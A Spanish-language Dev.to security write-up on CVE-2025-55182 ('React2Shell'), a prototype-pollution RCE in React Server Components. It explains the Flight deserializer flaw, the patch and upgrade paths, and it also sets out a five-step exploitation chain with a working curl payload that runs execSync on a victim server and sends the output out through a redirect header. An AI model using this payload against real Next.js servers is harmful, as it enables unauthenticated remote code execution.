CVE-2025-55182 · React2Shell: RCE en React Server Components via Prototype Pollution

Published: (May 3, 2026 at 03:16 AM EDT)
4 min read
Source: Dev.to

Source: Dev.to

TL;DR

El deserializador Flight de React evalúa como Promise cualquier objeto que tenga un método .then, sin importar su tipo real. Un atacante puede envenenar Object.prototype.then mediante un POST multipart manipulado, forzando al servidor a ejecutar JavaScript arbitrario a través del constructor Function. El resultado se exfiltra por la cabecera HTTP X-Action-Redirect.

  • Sin autenticación.
  • Determinista.
  • CVSS v3.1: 10.0 (Critical).

Descripción de la vulnerabilidad

Los React Server Components (RSC) se estabilizaron en React 19 junto con las Server Actions, un modelo donde los componentes UI se ejecutan en el servidor y se comunican mediante el protocolo Flight. Cuando el cliente invoca una Server Action, envía una petición POST multipart con un payload serializado; el servidor lo deserializa, ejecuta la acción y devuelve el resultado en streaming.

El protocolo Flight no es JSON; es un formato de streaming con chunks tipados. Su mecanismo central es:

if (obj && typeof obj.then === 'function') {
  // se trata como una Promise
}

Esta suposición permite que cualquier objeto que posea un método .then sea resuelto como una Promise. Si un atacante escribe Object.prototype.then, todos los objetos planos del runtime la heredan, y el deserializador ya no puede distinguir una Promise real de un objeto contaminado. En ese caso, el runtime invoca new Function(_prefix) sobre contenido controlado por el atacante.

Impacto

⚠️ Cualquier aplicación Next.js que use el App Router con React Server Components está afectada – la configuración por defecto desde Next.js 14. No es necesario que el desarrollador haya definido Server Actions explícitamente; la mera presencia de los paquetes RSC vulnerables es suficiente.

Versiones vulnerables

  • React 19.0.0 – 19.2.0 (incluye 19.0.0, 19.1.0, 19.1.1, 19.2.0)
  • Afecta a proyectos Next.js con App Router que utilicen RSC.

Cadena de explotación

  1. Reconocimiento – Identificar una aplicación Next.js que ejecute React 19.x y use el App Router. Cualquier endpoint que procese multipart/form-data con la cabecera Next-Action es un objetivo válido.
  2. Construcción del payload – Enviar un cuerpo multipart donde __proto__:then envenena Object.prototype. El campo _formData.get se redirige a $1:constructor:constructor y _prefix transporta el JavaScript a ejecutar.
  3. Envío – Un único POST al root con Next-Action: x. El WAF suele ver una petición multipart bien formada y la reenvía sin inspección.
  4. Evaluación en el servidor – El deserializador Flight encuentra un objeto con .then (heredado del prototipo contaminado) y llama a new Function(_prefix), ejecutando el código del atacante.
  5. Exfiltración – El resultado de execSync() se inserta en el digest del error NEXT_REDIRECT. Next.js lo convierte en un 307 con la cabecera X-Action-Redirect: /login?a=. El atacante decodifica el parámetro para obtener la salida.

Ejemplo de payload mínimo (cURL)

curl -X POST https://victim.com/ \
  -F '__proto__:then=()=>({then:()=>({})})' \
  -F '_formData.get=$1:constructor:constructor' \
  -F '_prefix=return require("child_process").execSync("id").toString()' \
  -H 'Next-Action: x'

Resultados típicos

  • whoami, id, uname -a ejecutados en el servidor Node.js vulnerable.
  • No se requiere subida de archivos, shell injection ni autenticación.

Código vulnerable (antes del parche)

// VULNERABLE — React 19.0.0 / 19.1.0 / 19.1.1 / 19.2.0
if (obj && typeof obj.then === 'function') {
  // comprobación conductual — bypasseable vía cadena de prototipos
}

Parche

Se añaden guardas con hasOwnProperty para bloquear la traversía de la cadena de prototipos:

- resolvedValue = resolvedValue[key];
+ if (!resolvedValue.hasOwnProperty(key)) break;
+ resolvedValue = resolvedValue[key];

Verificación de parche

node -e "const r = require('react'); const [maj,min,pat] = r.version.split('.').map(Number);
  console.log('React:', r.version, (maj===19 && (min<2||(min===2&&pat<1))) ? '❌ VULNERABLE' : '✓ Parcheado')"

Advisory post‑parche

Las versiones inicialmente parcheadas (19.0.1, 19.1.2, 19.2.1) introdujeron dos CVEs derivados:

  • CVE‑2025‑55184 – Denegación de Servicio (DoS), CVSS 7.5
  • CVE‑2025‑55183 – Exposición de Código Fuente, CVSS 5.3

Se recomienda actualizar a 19.0.2, 19.1.3 o 19.2.2.

Reflexión

La confianza basada en el comportamiento (typeof obj.then === 'function') es más débil que la confianza basada en la identidad. La flexibilidad para aceptar cualquier thenable permitió que la prototype pollution se convirtiera en una llave maestra para la ejecución remota de código.

Referencias

  • Análisis completo → blog.deviannt.com
  • CVE‑2025‑55182 – React2Shell
  • — devianntsec, investigación en seguridad & más
0 views
Back to Blog

Related posts

Read more »

Claude Moves Fast. Codex Ships.

Summary I gave two big coding tasks to both Claude and Codex. - Claude finished in about one hour. - Codex took about eight hours. At first glance that looks l...